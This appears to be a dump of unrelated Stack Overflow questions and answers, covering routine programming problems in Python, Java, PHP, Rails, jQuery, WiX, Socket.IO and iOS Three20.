27270532	1	better way to find pattern in string? <p>I have two strings from which I want to extract IPs.</p> <p>These are:</p> <pre><code>a = """+CGCONTRDP: 1,0,"open.internet","100.80.54.162.255.255.255.255","100.80.54.162","8.8.8.8 ","62.40.32.33","0.0.0.0","0.0.0.0",0 OK """ b = """+UIPADDR: 1,"usb0:0","100.80.54.93","255.255.255.255","","" OK """ </code></pre> <p>From the first I want <code>100.80.54.162</code> and the second I want <code>100.80.54.162</code>. Now obviously lengths of numbers in an IP changes. For the moment I am spitting on <code>","</code> and finding the numbers before the first 4 <code>.</code>'s. What is a better way to do this as it seems dirty, perhaps the first occurrence of digits.digits.digits.digits and stopping at the next non digit character, a pattern looking for that? How would you do it?</p>
15125945	0	 <p><a href="http://ideone.com/bGg6Wm" rel="nofollow">The code in your question compiles.</a> Does your <em>real</em> code have <code>public static void Order()</code> instead?</p> <p>Either way, I'm guessing you meant to do this in a constructor, so remove the <code>void</code>:</p> <pre><code>public class Order { private static int totalOrdersPlaced; public final int orderID; public Order() { totalOrdersPlaced++; orderID = totalOrdersPlaced; } } </code></pre>
41003216	0	 <p>Use <a href="http://dev.mysql.com/doc/refman/5.7/en/load-data.html" rel="nofollow noreferrer">LOAD DATA INFILE</a> to import from CSV to MySQL databse table. Example:</p> <pre><code>LOAD DATA INFILE 'data.csv' INTO TABLE my_table; </code></pre>
23811584	0	scraping a dynamic and inconsistent dom site <p>topic 2 is trending thread so it returned an extra markup span, that broke my query. How to solve this kind of problem? if I do //span at the end then the others three are out.</p> <pre><code> &lt;li&gt; topic 1 &lt;/li&gt; &lt;li&gt; &lt;span style="color:red"&gt;topic 2&lt;/span&gt; &lt;/li&gt; &lt;li&gt; topic 3 &lt;/li&gt; "poll" &lt;li&gt; topic 4 &lt;/li&gt; </code></pre>
35488813	0	 <p>Your PNG is very likely 32-bit color. In your <code>ImageList_Create()</code> calls, use the flags <code>ILC_COLOR32 | ILC_MASK</code>, not <code>ILC_MASK</code> only.</p> <p>According to <a href="https://msdn.microsoft.com/en-us/library/windows/desktop/bb775232%28v=vs.85%29.aspx" rel="nofollow">MSDN</a>, if you don't specify one of the <code>ILC_COLORxxx</code> flags, it defaults to <code>ILC_COLOR4</code>, which is 4-bit 16 color graphics. This explains your reduced image quality. Explicitly specifying <code>ILC_COLOR32</code> will give you the full-color icons you want.</p>
37658989	0	Using RegularExpressionValidator how can I check whether a textBox includes either an at (@) or a hyphen (-)? <p>This is very basic and not thorough validation I know but the textbox needs to accept for example name@email.com as well as 4556-222-44444.</p> <p>I've tried </p> <pre><code>&lt;asp:RegularExpressionValidator Display="Dynamic" runat="server" ControlToValidate="txtAddToBlacklist" ErrorMessage="Invalid" ValidationExpression="^[\-\@]$"&gt;&lt;/asp:RegularExpressionValidator&gt; </code></pre> <p>This attempt included the escaping backslashes to no avail.</p> <p>My logic for using "[-@]" to check for either to be present came from <a href="http://stackoverflow.com/a/4068725/2823680">this answer</a>.</p> <p>I know that the hyphen has to be at the beginning or the end but as it's only two characters, I don't think this is the issue.</p> <p>The ^ and $ are included as that seems to be recommended practice to prevent malicious extras being appended.</p> <p>Must be missing something though so any help is appreciated!</p>
19218550	0	 <p>I think you need to implement a kind of a chat and not how to send a SMS via WiFi.</p> <p>There is a good example at the Android Developers page: <a href="https://code.google.com/p/simple-android-instant-messaging-application/" rel="nofollow">https://code.google.com/p/simple-android-instant-messaging-application/</a></p> <p>Also check this link : <a href="http://stackoverflow.com/questions/16954712/android-whatsapp-chat-examples">Android Whatsapp/Chat Examples</a></p> <p>gl, Refael</p>
30585081	0	Different notification partials for different models? <p><strong>notifications/index</strong> has <code>&lt;%= render partial: "notifications/notification", collection: @notifications %&gt;</code>, which contains:</p> <pre><code>&lt;%= link_to "", notifications_habit_path(notification.id), method: :delete, class: "glyphicon glyphicon-remove" %&gt; &lt;%= link_to Comment.find_by(notification.comment_id).user.name, user_path(Comment.find_by(notification.comment_id).user.id) %&gt; commented on &lt;%= link_to "your habit", habit_path(notification) %&gt; </code></pre> <p>which shows:</p> <p><img src="https://i.stack.imgur.com/zVT87.png" alt="enter image description here"></p> <p>This is problematic because it should say 3x <em>".com commented on your habit"</em> and 2x <em>".com commented on your value"</em>.</p> <p>We need to create two separate partials <strong>notifications/_habits</strong> &amp; <strong>notifications/_values</strong>.</p> <p>My confusion is how to make the code know when to direct to the habit partial or the value partial based on whether it's a habit or value.</p> <p><strong>notifications_controller</strong></p> <pre><code>def index @habits = current_user.habits @valuations = current_user.valuations #aka values @notifications = current_user.notifications @notifications.each do |notification| notification.update_attribute(:read, true) end </code></pre> <p>The notifications are based on if a user comments on one of your habits or values:</p> <p><strong>comment.rb</strong></p> <pre><code>class Comment &lt; ActiveRecord::Base after_save :create_notification has_many :notifications belongs_to :commentable, polymorphic: true belongs_to :user validates :user, presence: true private def create_notification Notification.create( user_id: self.user_id, comment_id: self.id, read: false ) end end </code></pre> <p>I followed this tutorial but it is based on using just one model: <a href="http://evanamccullough.com/2014/11/ruby-on-rails-simple-notifications-system-tutorial/" rel="nofollow noreferrer">http://evanamccullough.com/2014/11/ruby-on-rails-simple-notifications-system-tutorial/</a></p> <h2>UPDATE FOR VALADAN</h2> <pre><code>class CommentsController &lt; ApplicationController before_action :load_commentable before_action :set_comment, only: [:show, :edit, :update, :destroy, :like] before_action :logged_in_user, only: [:create, :destroy] def index @comments = @commentable.comments end def new @comment = @commentable.comments.new end def create @comment = @commentable.comments.new(comment_params) if @comment.save redirect_to @commentable, notice: "comment created." else render :new end end def edit @comment = current_user.comments.find(params[:id]) end def update @comment = current_user.comments.find(params[:id]) if @comment.update_attributes(comment_params) redirect_to @commentable, notice: "Comment was updated." else render :edit end end def destroy @comment = current_user.comments.find(params[:id]) @comment.destroy redirect_to @commentable, notice: "comment destroyed." end def like @comment = Comment.find(params[:id]) @comment_like = current_user.comment_likes.build(comment: @comment) if @comment_like.save @comment.increment!(:likes) flash[:success] = 'Thanks for liking!' else flash[:error] = 'Two many likes' end redirect_to(:back) end private def set_comment @comment = Comment.find(params[:id]) end def load_commentable resource, id = request.path.split('/')[1, 2] @commentable = resource.singularize.classify.constantize.find(id) end def comment_params params[:comment][:user_id] = current_user.id params.require(:comment).permit(:content, :commentable, :user_id, :like) end end </code></pre>
33756349	0	Can I see object sent from ajax to php in php with a debugger? <p>I have a problem, I make an ajax call to a php file and I send a json object as a param from ajax/javascript to php, then php is supposed to do some logic with that object and return it with echo <code>json_encode('whatever');</code> My problem is when I'm working with the javascript object in php I'm blind, because my ajax call only have the success or the error function to "know" what hapenned in php, but I would like to know what mechanism can I use to see what happens inside php, like for example print the object received from ajax and see whatever is inside of it. How can I debug when I'm inside a php file called from ajax?? I've tryed chrome debuger and also firebug, and followed both tutorials, but I don't even see the php file that is called from ajax, so I can't set breakpoints into it. This is my code to do the ajax call to my php file and my php file that echos whatever information back:</p> <pre><code>function loadFormAdvanced(advancedFormVars) { var json = new Array(); json = '['; for (var prop in advancedFormVars) { if (advancedFormVars.hasOwnProperty(prop)) { // or if (Object.prototype.hasOwnProperty.call(obj,prop)) for safety... json += '{"' + prop + ":" + advancedFormVars[prop] + '},'; } } json += ']'; $.ajax({ url: 'AL_loadForm.php', type: 'POST', data: { advancedFormVars: json //"[{"OfferID:"OfferID"},{"offerName:"Offer Name"},{"campaignID:"CampaignID"},{"campaignName:"CampaignName"},{"offerIDFilt:"OfferID"},{"dates:"Dates"},]" }, dataType: 'json', success: function (data) { alert(data); }, error: function (request, error) { alert("Error: please fill the required fields"); } }); } </code></pre> <p>What I would like is to be abble to see what happens in my php file, or for example, to see the content of <code>$val</code> variable. </p>
21174310	0	Loop with trigger (which contains animation) not working <p>So I seem to have run into a bit of a dead end. I'm making a page which has an image slider. The slider has three images, one centered on the screen, the other two overflow on the left and right. When you click on the button to advance the slides it runs this code.... </p> <pre><code>$('#slideRight').click(function() { if ($('.container').is(':animated')) {return false;} var next=parseInt($('.container img:last-of-type').attr('id')) + 1; if (next == 12) { next = 0; } var diff = galsize() - 700; if ($('.thumbs').css("left") == "0px") { var plus = 78; } else { var plus = 0; } var app='&lt;img id="' + next + '" src="' + imgs[next].src + '"&gt;'; $('.container').width('2800px').append(app); $('.container').animate({marginLeft: (diff + plus) + "px"}, 300, function() { $('.container img:first-of-type').remove(); $('.container').width('2100px').css("margin-left", (galsize() + plus) + "px"); }); }); // end right click </code></pre> <p>This works just fine, not a problem..... I also have an interval set up to run this automatically every 5 seconds to form a slideshow...</p> <pre><code>var slideShow = setInterval(function() { $('#slideRight').trigger("click"); }, 5000); </code></pre> <p>This also works perfectly, not a problem.... However my problem is this.... I have thumbnails, when you click on a thumbnail, it should run this code until the current picture is the same as the thumbnail.... here is the code....</p> <pre><code>$('img.thumbnail').click(function() { clearInterval(slideShow); var src = $(this).attr("src"); while ($('.container img:eq(1)').attr('src') != src) { $('#slideRight').trigger("click"); } }); </code></pre> <p>When I click on the thumbnail nothing happens... I've used alert statements to try and debug, what ends up happening is this.... </p> <p>The while loop executes, however nothing happens the first time. The slide is not advanced at all. Starting with the second execution, the is('::animated') is triggered EVERY TIME and the remainder of the slideRight event is not executed...</p> <p>So my first problem, can anyone shed some light on why it doesn't run the first time?</p> <p>And my second question, is there any way to wait until the animation is complete before continuing with the loop?</p> <p>Any help would be appreciated. Thank you!</p>
6237766	0	Slicing Tools for Eclipse <p>Does anyone know if there are any open source tools for eclipse that can generate static program slices according to the slicing technique outlined by Mark Weiser (<a href="http://en.wikipedia.org/wiki/Program_slicing" rel="nofollow">http://en.wikipedia.org/wiki/Program_slicing</a>)? I can only seem to find JSlice, which only works for Fedora. Any pointers about how I could tackle this (and libraries out there, or example algorithms for java) would be great.</p>
17143195	0	 <p>Use Include method for eager loading related entities, like described here: <a href="http://msdn.microsoft.com/en-US/data/jj574232" rel="nofollow">http://msdn.microsoft.com/en-US/data/jj574232</a></p>
30365893	0	 <p>You can check if the respective device has an app is installed using:</p> <pre><code>// url = "example" (check the following image to understand) let canOpen = UIApplication.sharedApplication().canOpenURL(NSURL(string: url as String)!) </code></pre> <p>Where <code>url</code> is pre configured (have a URL scheme registered for your app in your Info.plist)</p> <p>So, if canOpen is <code>true</code> means that app is installed and you can open using:</p> <pre><code>UIApplication.sharedApplication().openURL(NSURL(string:url)!) </code></pre> <p><img src="https://i.stack.imgur.com/YuFk9.png" alt="enter image description here"></p>
32937832	0	 <p>I believe you want something like this</p> <pre><code>//class hierarchy to set the priority for type matching struct second_priority { }; struct first_priority : public second_priority {}; template&lt;typename T&gt; auto size_impl(T const &amp; data, second_priority t) -&gt; int { return sizeof(data); } template&lt;typename T&gt; auto size_impl(T const &amp; data , first_priority t) -&gt; decltype(data.size(),int()) { return data.size(); } template&lt;typename T&gt; int size(T const &amp; data ) { return size_impl(data,first_priority{}); } </code></pre>
14898728	0	 <p>You can use <code>position</code>ing.</p> <pre class="lang-css prettyprint-override"><code>#content h1 {position: relative; top: -15px;} </code></pre> <p>Or to put it in a better way, give <code>position</code>ing for both.</p> <pre class="lang-css prettyprint-override"><code>#content {position: relative;} #content h1 {position: absolute; top: -15px;} </code></pre> <p>For the query about negative <code>top</code> values:</p> <blockquote> <p>Negative values are allowed and would result in the element being moved in the opposite direction to those already stated above.</p> </blockquote> <p>References:</p> <ul> <li><a href="http://reference.sitepoint.com/css/top" rel="nofollow">Sitepoint</a></li> </ul>
15937853	0	 <p>Just in case... Did you check that your memory card is correct ? if you use wifi - The connection is good ?</p>
25497505	0	 <p>Wrong reallocation.</p> <pre><code>// filename = realloc(filename, i+1); filename = realloc(filename,(i+1) * sizeof *filename);` </code></pre> <p>BTW: No need to differentiate memory allocation calls. Since the pointer is initialized to <code>NULL</code>, use <code>realloc()</code> the first and subsequent times.</p> <pre><code>char **filename = NULL; ... // if (i == 0) filename = malloc(sizeof(char*)*(i+1)); // else filename = realloc(filename,i+1); filename = realloc(filename,(i+1) * sizeof *filename);` </code></pre> <p>@PaulMcKenzie well points out code should check for problem return values. Further, <code>fileanme</code> should be <code>free()</code> in the end.</p>
37699538	0	How to immediately know if connection is lost with Socket.IO? <p>I'm working on a project that includes BeagleBoneBlack and web server written in NodeJs. The idea is that when Beaglebone detects something from enviroment sends it to web server, and if connection is lost for some reason BBB stores the log in it's own database.</p> <p>So I use SocketIO, and I emit when BBB detects something. I use flag variable isConnected that I put on false on "disconnect" event, and if isConnected is false I'm not emiting to server, just writing in database. </p> <p>Problem is that when computer, where server is running, goes to sleep (simulating lost connection), SocketIo needs sometimes more than a minute to detect that connection is lost, and emit disconnect event. Is there any way to get this info faster, because the program tries to send readings to server and can't, but it's not written in database. </p>
22594705	0	 <p>To extend on the Scott Answer, dont forget to add the filePath: property to log.js file... otherwise it will not work :)</p> <p>So it should be something like:</p> <pre><code>log: { level: 'info', maxSize: 1000, filePath: 'c://serverlogs/mylogfilename.log' </code></pre> <p>Answer is changed based on Joseph question.</p>
32299130	0	 <p>Please update your updateInput with following code</p> <pre><code>function updateInput(ish){ cc2=ish; } </code></pre> <p>This will assign the value of your input to cc2 var. So on each change in input will make cc2 to holds the latest value.</p>
4635377	0	Java API Source Code <p>Where can I find the source code of the Java API?</p>
20993115	0	 <p>I don't know if it is related, I had a lot of trouble with embedded script in jade file. Syntax changed. You might have to add a dot to the script tags in jade file, if JS is followed in next lines.</p> <p>There is another evil change, you need to write doctype html instead of doctype 5</p> <pre> script var x=1 is now script. var x=1 </pre>
29729896	0	In the following multithreaded applet only the first thread is getting executed? <p>The program is sending packets from sender to receiver and back to sender from receiver. It is using thread for each packet but only first packet is traversing the route.</p> <pre><code>import java.applet.Applet; import java.awt.*; import java.util.ArrayList; import java.util.*; public class CongestionControl extends Applet { ArrayList&lt;Packets&gt; packetList = new ArrayList(); static int width, height; int packetCount; static int sourceLocationX; private Label ls = new Label("Sender"); private Label lr = new Label("Reciever"); int sourceLocationY; int SWS; int packetWidth; int packetHeight; static int destLocationX; Random random = new Random(); int RTT; public CongestionControl() { sourceLocationX = 100; sourceLocationY = 200; destLocationX = 400; RTT = 5; SWS = 4; packetWidth = 10; packetHeight = 10; packetCount = 10; } public void init() { width = getSize().width; height = getSize().height; setLayout(null); for (int i = 0; i &lt; packetCount; i++) { packetList.add(new Packets(sourceLocationX, sourceLocationY, Math .round(((2 * (-sourceLocationX + destLocationX)) / RTT) + 2))); // adding 2 purposely } add(ls); ls.setBounds(100, 240, 140, 30); add(lr); lr.setBounds(destLocationX + 20, 240, 140, 30); } private class MovingRunnable implements Runnable { private final Packets p; private MovingRunnable(Packets p) { this.p = p; } public void run() { for (;;) { p.move(); repaint(); try { Thread.sleep(200); } catch (InterruptedException e) { e.printStackTrace(); } } } } public void start() { for (Packets packet : packetList) { Thread t; t = new Thread(new MovingRunnable(packet)); try { Thread.sleep(RTT / SWS); // packet generation interval } catch (InterruptedException e) { e.printStackTrace(); } t.start(); System.out.println("New thread generated"); } } public void paint(Graphics g) { super.paint(g); for (Packets Packet : packetList) { g.drawRect(Packet.x, Packet.y, packetHeight, packetWidth); g.drawLine(sourceLocationX, sourceLocationY + packetHeight, destLocationX, sourceLocationY + packetHeight); } } public class Packets { int x; int y; int deltaX; int deltaY; public Packets(int startx, int starty, int deltax) { this.x = startx; this.y = starty; this.deltaX = deltax / 5; } public void move() { x += deltaX; if (x &gt;= CongestionControl.destLocationX - packetWidth) { x = x - deltaX; deltaX = -deltaX; y += (packetHeight + 10); } } } } </code></pre> <p>Why only first thread is running?</p>
23659766	0	 <p>On you dumbed down question (which is synchronous). Sure you could, but you'd have to return the value from your callback, your callback handler and your calling function.</p> <pre><code>var a = function (param, callback) { return callback(param); }; var base = function () { return a(5, function (a) { return 2*a; }); } </code></pre> <p>This would not work in an asynchronous case, Then you need callback functions, or instead returning a deferred, promise or future.</p> <p>For example</p> <pre><code>function asynchDoubler(number) { var deferred = new Deferred(); setTimeout(function () { deferred.callback(2*number); }, 1); return deferred; } asynchDoubler(5).addCallback(function (result) { console.log(result); }); // outputs 10 </code></pre>
21454159	0	 <p>If I understand you correctly you have one table with words (or more general text). This is your table $nome. Now you want to select all rows from another table table_dediche, where column dediche does not containt anything that is in the table $nome. Is this correct?</p> <p>That is not possible, if you get the values from another table. There is nothing like combining like and in with the result of a subquery. You can have a look at <a href="http://stackoverflow.com/questions/1127088/mysql-like-in">MySQL LIKE IN()?</a> where they solve that problem using an regex. Not sure if that works in your case.</p>
23468464	0	 <p>I've put an example directive here: <a href="http://embed.plnkr.co/fQhNUGHJ3iAYiWTGI9mn/preview" rel="nofollow">http://embed.plnkr.co/fQhNUGHJ3iAYiWTGI9mn/preview</a></p> <p>It activates on the <code>my-grid</code> attribute and inserts a checkbox column. The checkbox is bound to the <code>selected</code> property of each item (note that it's an Angular template and it uses <code>dataItem</code> to refer to the current item). To figure out the selected items you can do something like:</p> <pre><code>var selection = $scope.grid.dataSource.data().filter(function(item){ return item.selected; }); </code></pre> <p>The checkbox that is added in the header will toggle the selection.</p> <p>HTH.</p>
29850688	0	 <p>Before <code>listViewTweets.setAdapter(adapter);</code> insert:</p> <pre><code>listviewo.setEmptyView(findViewById(R.id.loading)); </code></pre> <p>loading is a <code>ProgressBar</code> put it inside your XML where you have the <code>ListView</code>:</p> <pre><code>&lt;ProgressBar android:id="@+id/loading" android:layout_width="wrap_content" android:layout_height="match_parent" android:indeterminateDrawable="@anim/loading_rotation" android:layout_centerHorizontal="true" android:layout_centerVertical="true" android:visibility="gone" /&gt; </code></pre> <p>by this: <code>android:indeterminateDrawable="@anim/loading_rotation"</code> i created a picture that rotate.</p> <p>to set the animation just create an <code>xml</code> file put it in a folder called <code>anim</code> : </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;animated-rotate xmlns:android="http://schemas.android.com/apk/res/android" android:drawable="@drawable/iconloading" android:pivotX="50%" android:pivotY="50%" /&gt; </code></pre> <p>the loading picture is<code>iconloading</code>.</p> <p>hope this helps.</p>
22723277	0	 <p>If you've posted your code correctly, the problem is with Coffeescript.</p> <p>According to the translator at <a href="http://coffeescript.org" rel="nofollow">coffeescript.org</a>, your future translates to</p> <pre><code>myFuture = new Future; popular_imgs = function() { ... }; </code></pre> <p>This is obviously not what you want. The fix is simple:</p> <pre><code>myFuture = new Future -&gt; Insta.media.popular (img, err)-&gt; myFuture.return img </code></pre>
30638029	0	session_start() not working and giving warning although it's on the top of the page <p>This code was working properly in Xampp but it's not working after I uploaded it on the server</p> <pre><code>&lt;?php ob_start(); session_start(); if(session_status()!=PHP_SESSION_ACTIVE) { session_start();} if(!isset($_SESSION['username']) || !isset($_SESSION['password'])) { header('location:login.php'); } $connection=mysqli_query('localhost','username','password','dbname') ?&gt; &lt;!DOCTYPE html&gt; &lt;html lang="en" xmlns="http://www.w3.org/1999/html"&gt; &lt;head&gt; &lt;meta charset="utf-8"&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge"&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; </code></pre> <p>The page has loaded fine but it's giving error on top of the page and because it's an admin page it must not open unless the session is set. this is the warning that I am getting right now.</p> <pre><code>Warning: session_start(): Cannot send session cache limiter - headers already sent (output started at /home3/index.php:1) in /home3/index.php on line 3 Warning: Cannot modify header information - headers already sent by (output started at /home3/index.php:1) in /home3/index.php on line 7 </code></pre>
415850	0	 <p>The standard creation of folders in Windows XP is <a href="http://msdn.microsoft.com/en-us/library/aa363855%28VS.85%29.aspx" rel="nofollow noreferrer">CreateDirectory</a>. This is a Kernel32 function. </p> <p>Since you're referring to "New Folder", and expect to have UI, I think you are actually refering to Explorer, the default shell for XP. "Ne Folder"is a predefined entry in the context menu, and that list is extensible. However, you'll notice a divider line. "Folder'and "shortcut" are built-ins; the other entries are configured. It would be trivial to add a "New Folder Structure" entry below the divider (ShellNew key in HKCR)</p>
8638847	0	 Google Cloud Print is built on the idea that printing can be more intuitive, accessible, and useful. Using Google Cloud Print you can make your printers available to you from any Google Cloud Print enabled web, desktop or mobile app.
7381723	0	 <p>PS1=.. Is setting the value of the prompt that is displayed</p> <p>export LC_ALL is settiing an environment variable that will be available to programmes that bash executes. See <a href="http://pubs.opengroup.org/onlinepubs/7908799/xbd/envvar.html" rel="nofollow">http://pubs.opengroup.org/onlinepubs/7908799/xbd/envvar.html</a></p>
38531617	0	underscore in Map function in scala <p>A quick question about use of underscore in map function, suppose I have a RDD below:</p> <pre><code>val R_1 = sc.parallelize(List((1, 2), (3, 4), (5, 6))) R_1.map(x =&gt; x._1 + x._2) </code></pre> <p>result is (3, 7, 11)</p> <p>I got a error when I use <code>R_1.map(_._1 + _._2)</code> to do this.</p> <p>I dont really understand underscore magic in scala lambda expression. So my question is what is difference between <code>R_1.map(x =&gt; x._1 + x._2)</code> and <code>R_1.map(_._1 + _._2)</code>. Is there any other way to write <code>R_1.map(x =&gt; x._1 + x._2)</code>? any help is appreciated.</p>
22049033	0	how do i create a debuggable axis2 project in eclipse using maven? <p>I followed the tutorial at <a href="http://www.itcuties.com/j2ee/axis2-java2wsdl-approach/" rel="nofollow">this link</a> to create a axis2 webservice project using maven and eclipse. </p> <p>However, this setup doesn't allow me to debug my code. Can someone point me to a link which will allow me to use maven to build my axis2 webservice and debug the code inside eclipse? </p>
18297306	1	python can't find file it just made <p>My program cannot find the path that it just made, the program is for sorting files in the download folder. If it finds a new type of file it should make a folder for that file type. </p> <pre><code>import os FileList = os.listdir("/sdcard/Download/") for File in FileList: #print File extension = ''.join(os.path.splitext(File)[1]) ext = extension.strip('.') if os.path.exists("/mnt/external_sd/Download/" + ext): Data = open("/sdcard/Download/" + File, "r").read() file("/mnt/external_sd/" + ext + "/" + File, "w").write(Data) elif os.path.exists("/mnt/external_sd/Download/" + ext) != True: os.makedirs("/mnt/external_sd/Download/" + ext) Data = open("/sdcard/Download/" + File, "r").read() file("/mnt/external_sd/" + ext + "/" + File, "w").write(Data) </code></pre>
17329927	0	WiX Make a Sub-Dir a Component Group when running heat <p>Hello all my fellow WiX'ers,</p> <p>I was wondering if it possible, and if so where I can go to learn how to do it, to run heat on a directory and have each directory inside that one be it's own Component Group.</p> <p>Example:</p> <ul> <li>Root Directory <ul> <li>Sub Dir 1 <ul> <li>Sub Sub Dir 1</li> <li>Sub Sub Dir 2</li> <li>Sub Sub Dir 3</li> </ul></li> <li>Sub Dir 2 <ul> <li>Sub Sub Dir 1</li> <li>Sub Sub Dir 2</li> <li>Sub Sub Dir 3</li> </ul></li> <li>Sub Dir 3 <ul> <li>Sub Sub Dir 1</li> <li>Sub Sub Dir 2</li> <li>Sub Sub Dir 3</li> </ul></li> </ul></li> </ul> <p>Then run a heat command in the Build Event of the VS2010 project (example below): </p> <pre><code>heat dir "Root Directory" -gg -sfrag -srd -dr INSTALLFOLDER -out MyWXS.wxs </code></pre> <p>and then have that WXS file structured like so:</p> <pre><code>&lt;Wix xmlns="http://schemas.microsoft.com/wix/2006/wi"&gt; &lt;Fragment&gt; &lt;DirecotryRef Id="INSTALLFOLDER"&gt; &lt;Directory Id="dir84156489" Name="Sub Dir 1"&gt; ... &lt;/Directory&gt; &lt;Directory Id="dir84156489" Name="Sub Dir 2"&gt; ... &lt;/Directory&gt; &lt;Directory Id="dir84156489" Name="Sub Dir 3"&gt; ... &lt;/Directory&gt; &lt;/DirectoryRed&gt; &lt;/Fragment&gt; &lt;Fragment&gt; &lt;ComponentGroup Id="Sub Dir 1"&gt; ... &lt;/ComponentGroup&gt; &lt;ComponentGroup Id="Sub Dir 2"&gt; ... &lt;/ComponentGroup&gt; &lt;ComponentGroup Id="Sub Dir 3"&gt; ... &lt;/ComponentGroup&gt; &lt;/Fragment&gt; &lt;/wix&gt; </code></pre> <p>If there is any confusion in my question or if anyone has any additional questions for me please let me know. Thank you and I look forward to hearing from you.</p> <p><strong>EDIT</strong> Using the following xslt file I am getting the WXS structure that follows after:</p> <pre><code>**XLST File** &lt;?xml version="1.0" encoding="utf-8"?&gt; </code></pre> <p></p> <p></p> <p> </p> <p> </p> <pre><code>**WXS File Result** &lt;Wix&gt; &lt;Fragment&gt; &lt;DirectoryRef Id="INSTALLFOLDER"&gt; &lt;Directory Id="dir846546" Name="SubDir1"&gt; ... &lt;/Directory&gt; &lt;Directory Id="dir846546" Name="SubDir2"&gt; ... &lt;/Directory&gt; &lt;Directory Id="dir846546" Name="SubDir3"&gt; ... &lt;/Directory&gt; &lt;/DirectoryRef&gt; &lt;/Fragment&gt; &lt;wix:Fragment xmlns:wix="http://schemas.microsoft.com/wix/2006/wi"&gt; &lt;wix:ComponentGroup Id="SubDur1"&gt; ... &lt;/wix:ComponentGroup&gt; &lt;/wix:Fragment&gt; &lt;wix:Fragment xmlns:wix="http://schemas.microsoft.com/wix/2006/wi"&gt; &lt;wix:ComponentGroup Id="SubDur2"&gt; ... &lt;/wix:ComponentGroup&gt; &lt;/wix:Fragment&gt; &lt;wix:Fragment xmlns:wix="http://schemas.microsoft.com/wix/2006/wi"&gt; &lt;wix:ComponentGroup Id="SubDur3"&gt; ... &lt;/wix:ComponentGroup&gt; &lt;/wix:Fragment&gt; &lt;/Wix&gt; </code></pre> <p>No matter what I do I cannot get the Directories to be created as component groups...</p>
34984012	0	 <p>It is not obvious why you get extra exit events, but it may be because you are trying to register more than the 20 allowed monitoring regions. Perhaps you get exit events when the older regions are unloaded by CoreLocation when you go over the limit.</p> <p>The issue with going over the limit happens because you call <code>startMonitoringForRegion</code> when the ViewController loads, but never call <code>stopMonitoringFirRegion</code> on each region when the ViewController becomes inactive. </p> <p>I would change this and maybe it will fix your problem. Just a guess -- if that does not work it may be time to decouple the beacon code from your ViewController as you suggest.</p>
24976770	0	 <p>Try this code.</p> <pre><code>echo ' &lt;div class=\"col-md-3\"&gt; &lt;div class=\"thumbnail\"&gt; &lt;span&gt;'.$pdimg.'&lt;/span&gt; &lt;div class=\"caption\"&gt; &lt;p&gt;'.$pdetails.'&lt;/p&gt; &lt;p&gt;&lt;a href=\"#\" class=\"btn btn-primary\" role=\"button\"&gt;Button&lt;/a&gt; &lt;a href=\"#\" class=\"btn btn-default\" role=\"button\"&gt;Button&lt;/a&gt;&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;"'; </code></pre> <p>I hope this helps you.</p>
22261878	0	How to use pretty-error within a sailsjs app? <p><a href="https://www.npmjs.org/package/pretty-error" rel="nofollow">pretty-error</a> has to be set up like this:</p> <pre><code>require('pretty-error').start(function(){ startTheApp(); }); </code></pre> <p>As I don't now where sailsjs starts the app, I've tried this on <code>config/bootstrap.js</code>:</p> <pre><code>module.exports.bootstrap = function (cb) { require('pretty-error').start(cb) } </code></pre> <p>but it's not working.</p> <p>Any guideline?</p>
4655309	0	TabBar Support of Three20 iPhone Photo Gallery <p>I wend through <a href="http://mobile.tutsplus.com/tutorials/iphone/iphone-photo-gallery-three20/" rel="nofollow">this</a> tutorial and created a photo gallery for the iPhone. Now I want to add it to my TabBar project. I already heard, that Three20 doesn't support XIB, so I changed my whole tab bar setup to programmatically. I think I am not too far from a final solution. </p> <p>I was able to get the photo gallery working in one tab but without functions (click on a pic --> it opens, etc). There is no navigation on top of the page that leads you to the detail image page. I faced this when I removed this from didFinishLaunchingWithOptions-method in app delegate:</p> <pre><code>// Override point for customization after application launch TTNavigator* navigator = [TTNavigator navigator]; TTURLMap* map = navigator.URLMap; [map from:@"demo://album" toViewController: [AlbumController class]]; [navigator openURLAction:[TTURLAction actionWithURLPath:@"demo://album"]]; return YES; </code></pre> <p>I had to remove it because otherwise the whole tab bar is not shown. The photo gallery uses the whole screen. I am not sure if it is just not shown, or not loaded. I also tried:</p> <pre><code>tabbar.hidesBottomBarWhenPushed = NO; </code></pre> <p>But that did not work at all. I tried to add the TTNavigator-code to loadView(), viewDidLoad() and init() in the AlbumController itself without a result. Does anyone know where I have to put this in order to get it working?</p> <p>My AlbumController.h:</p> <pre><code>#import &lt;Foundation/Foundation.h&gt; #import &lt;Three20/Three20.h&gt; @interface AlbumController : TTThumbsViewController { // images NSMutableArray *images; // parser NSXMLParser * rssParser; NSMutableArray * stories; NSMutableDictionary * item; NSString * currentElement; NSMutableString * currentImage; NSMutableString * currentCaption; } @property (nonatomic, retain) NSMutableArray *images; @end </code></pre> <p>And my implementation of the didFinishLaunchingWithOptions-method:</p> <pre><code>- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { // set up tab bar controller tabBarController = [[UITabBarController alloc] init]; albumController = [[AlbumController alloc] init]; firstViewController = [[FirstViewController alloc] init]; secondViewController = [[SecondViewController alloc] init]; firstViewController.delegateRef = self; tabBarController.viewControllers = [NSArray arrayWithObjects:firstViewController, secondViewController, albumController, nil]; [window addSubview:tabBarController.view]; [window makeKeyAndVisible]; // Override point for customization after application launch TTNavigator* navigator = [TTNavigator navigator]; TTURLMap* map = navigator.URLMap; [map from:@"demo://album" toViewController: [AlbumController class]]; [navigator openURLAction:[TTURLAction actionWithURLPath:@"demo://album"]]; return YES; } </code></pre> <p>Thanks guys, Cheers, dooonot</p>
6738180	0	 <p>What you described is essentially the <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" rel="nofollow">Model-View-Controller</a> paradigm used by most web application frameworks. MVC is designed to separate business logic from presentation. </p> <p>I can't really give you a more specific answer since your question is very vague, but the simplest, most stripped-down way to accomplish MVC is to have two php files, one accessible from the outside, which then includes another file in a protected directory.</p> <p>So for example you can have a functions.php file and then in your index.php file</p> <pre><code>require_once('lib/functions.php'); //call functions defined in functions.php </code></pre> <p>Aside from that, I think you just need to read up a bit and experiment on your own.</p>
